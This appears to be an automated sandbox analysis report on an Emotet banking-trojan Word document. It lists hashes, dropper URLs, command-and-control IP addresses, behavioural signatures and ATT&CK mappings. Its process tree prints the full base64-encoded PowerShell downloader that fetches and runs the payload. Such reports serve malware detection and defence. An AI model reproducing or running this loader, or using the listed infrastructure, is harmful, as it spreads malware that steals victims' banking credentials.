emotet | 6da6b99d1e7334c2df666c15e596c4fb9cca58c3f3891e9cc6676580e5b1dcbf

General

Target

emotet_e2_6da6b99d1e7334c2df666c15e596c4fb9cca58c3f3891e9cc6676580e5b1dcbf_2020-09-19__093534554055._doc.doc
Size

188KB
MD5

2f45c643a3d89cb8ca500f2f3b01d69f
SHA1

f367264204b45d8255fc243b59d4b9c163cf77f4
SHA256

6da6b99d1e7334c2df666c15e596c4fb9cca58c3f3891e9cc6676580e5b1dcbf
SHA512

2aa5cafd2fa089005007bfc9c80c6232b9057aba24b66ee49963313f50ded500e264eaa0209d5601318964e8aafcc4a6a0251750d128d0b613bd78c750e12d48

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://geisterhouse.com/cgi-bin/LAb1/

exe.dropper

http://amyemitchell.com/themes/w/

exe.dropper

http://forestanalytics.net/images/57A7/

exe.dropper

https://konican.com/cgi-bin/cWu/

exe.dropper

http://strike3productions.com/squad/3aV6xrH/

exe.dropper

http://riandutra.com/img/wOMENgh/

exe.dropper

http://justinscott.com.au/sites/rRS/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	1684	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral1/memory/3784-13-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral1/memory/3784-13-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral1/memory/3784-12-0x00000000004C0000-0x00000000004D2000-memory.dmp	emotet
behavioral1/memory/3784-12-0x00000000004C0000-0x00000000004D2000-memory.dmp	emotet
behavioral1/memory/1800-16-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral1/memory/1800-16-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral1/memory/1800-17-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet
behavioral1/memory/1800-17-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

14 1780 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

M5km4176.exeDxpTaskSync.exe

pid process

3784 M5km4176.exe
1800 DxpTaskSync.exe
Drops file in System32 directory 1 IoCs

Processes:

M5km4176.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\txfw32\DxpTaskSync.exe M5km4176.exe

flow	pid	process
14	1780	powershell.exe

pid	process
3784	M5km4176.exe
1800	DxpTaskSync.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\txfw32\DxpTaskSync.exe	M5km4176.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3832 WINWORD.EXE
3832 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exeDxpTaskSync.exe

pid process

1780 powershell.exe
1780 powershell.exe
1780 powershell.exe
1800 DxpTaskSync.exe
1800 DxpTaskSync.exe
1800 DxpTaskSync.exe
1800 DxpTaskSync.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1780 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE
3832 WINWORD.EXE

pid	process
3832	WINWORD.EXE
3832	WINWORD.EXE

pid	process
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe
1800	DxpTaskSync.exe
1800	DxpTaskSync.exe
1800	DxpTaskSync.exe
1800	DxpTaskSync.exe

description	pid	process
Token: SeDebugPrivilege	1780	powershell.exe

pid	process
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeM5km4176.exe

description	pid	process	target process
PID 1780 wrote to memory of 3784	1780	powershell.exe	M5km4176.exe
PID 1780 wrote to memory of 3784	1780	powershell.exe	M5km4176.exe
PID 1780 wrote to memory of 3784	1780	powershell.exe	M5km4176.exe
PID 3784 wrote to memory of 1800	3784	M5km4176.exe	DxpTaskSync.exe
PID 3784 wrote to memory of 1800	3784	M5km4176.exe	DxpTaskSync.exe
PID 3784 wrote to memory of 1800	3784	M5km4176.exe	DxpTaskSync.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_6da6b99d1e7334c2df666c15e596c4fb9cca58c3f3891e9cc6676580e5b1dcbf_2020-09-19__093534554055._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780

C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe
"C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3784

C:\Windows\SysWOW64\txfw32\DxpTaskSync.exe
"C:\Windows\SysWOW64\txfw32\DxpTaskSync.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1800

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Ep1s8UV\cdc8b6U\M5km4176.exe

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C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe

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C:\Windows\SysWOW64\txfw32\DxpTaskSync.exe

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memory/1780-6-0x00007FFDCA8E0000-0x00007FFDCB2CC000-memory.dmp

Filesize
9.9MB

Download
memory/1780-7-0x00000106B0980000-0x00000106B0981000-memory.dmp

Filesize
4KB

Download
memory/1780-8-0x00000106B0B30000-0x00000106B0B31000-memory.dmp

Filesize
4KB

Download
memory/1800-17-0x00000000004C0000-0x00000000004D0000-memory.dmp

Filesize
64KB

Download
memory/1800-16-0x0000000000500000-0x0000000000512000-memory.dmp

Filesize
72KB

Download
memory/1800-14-0x0000000000000000-mapping.dmp

Download
memory/3784-13-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/3784-9-0x0000000000000000-mapping.dmp

Download
memory/3784-12-0x00000000004C0000-0x00000000004D2000-memory.dmp

Filesize
72KB

Download
memory/3832-5-0x000001FB1EBE6000-0x000001FB1EBEB000-memory.dmp

Filesize
20KB

Download
memory/3832-0-0x00007FFDD2380000-0x00007FFDD2A46000-memory.dmp

Filesize
6.8MB

Download
memory/3832-4-0x000001FB1EBE5000-0x000001FB1EBE6000-memory.dmp

Filesize
4KB

Download
memory/3832-3-0x000001FB1EBE6000-0x000001FB1EBEB000-memory.dmp

Filesize
20KB

Download
memory/3832-2-0x000001FB1C2C2000-0x000001FB1C2C7000-memory.dmp

Filesize
20KB

Download
memory/3832-1-0x000001FB1EBE6000-0x000001FB1EBEB000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads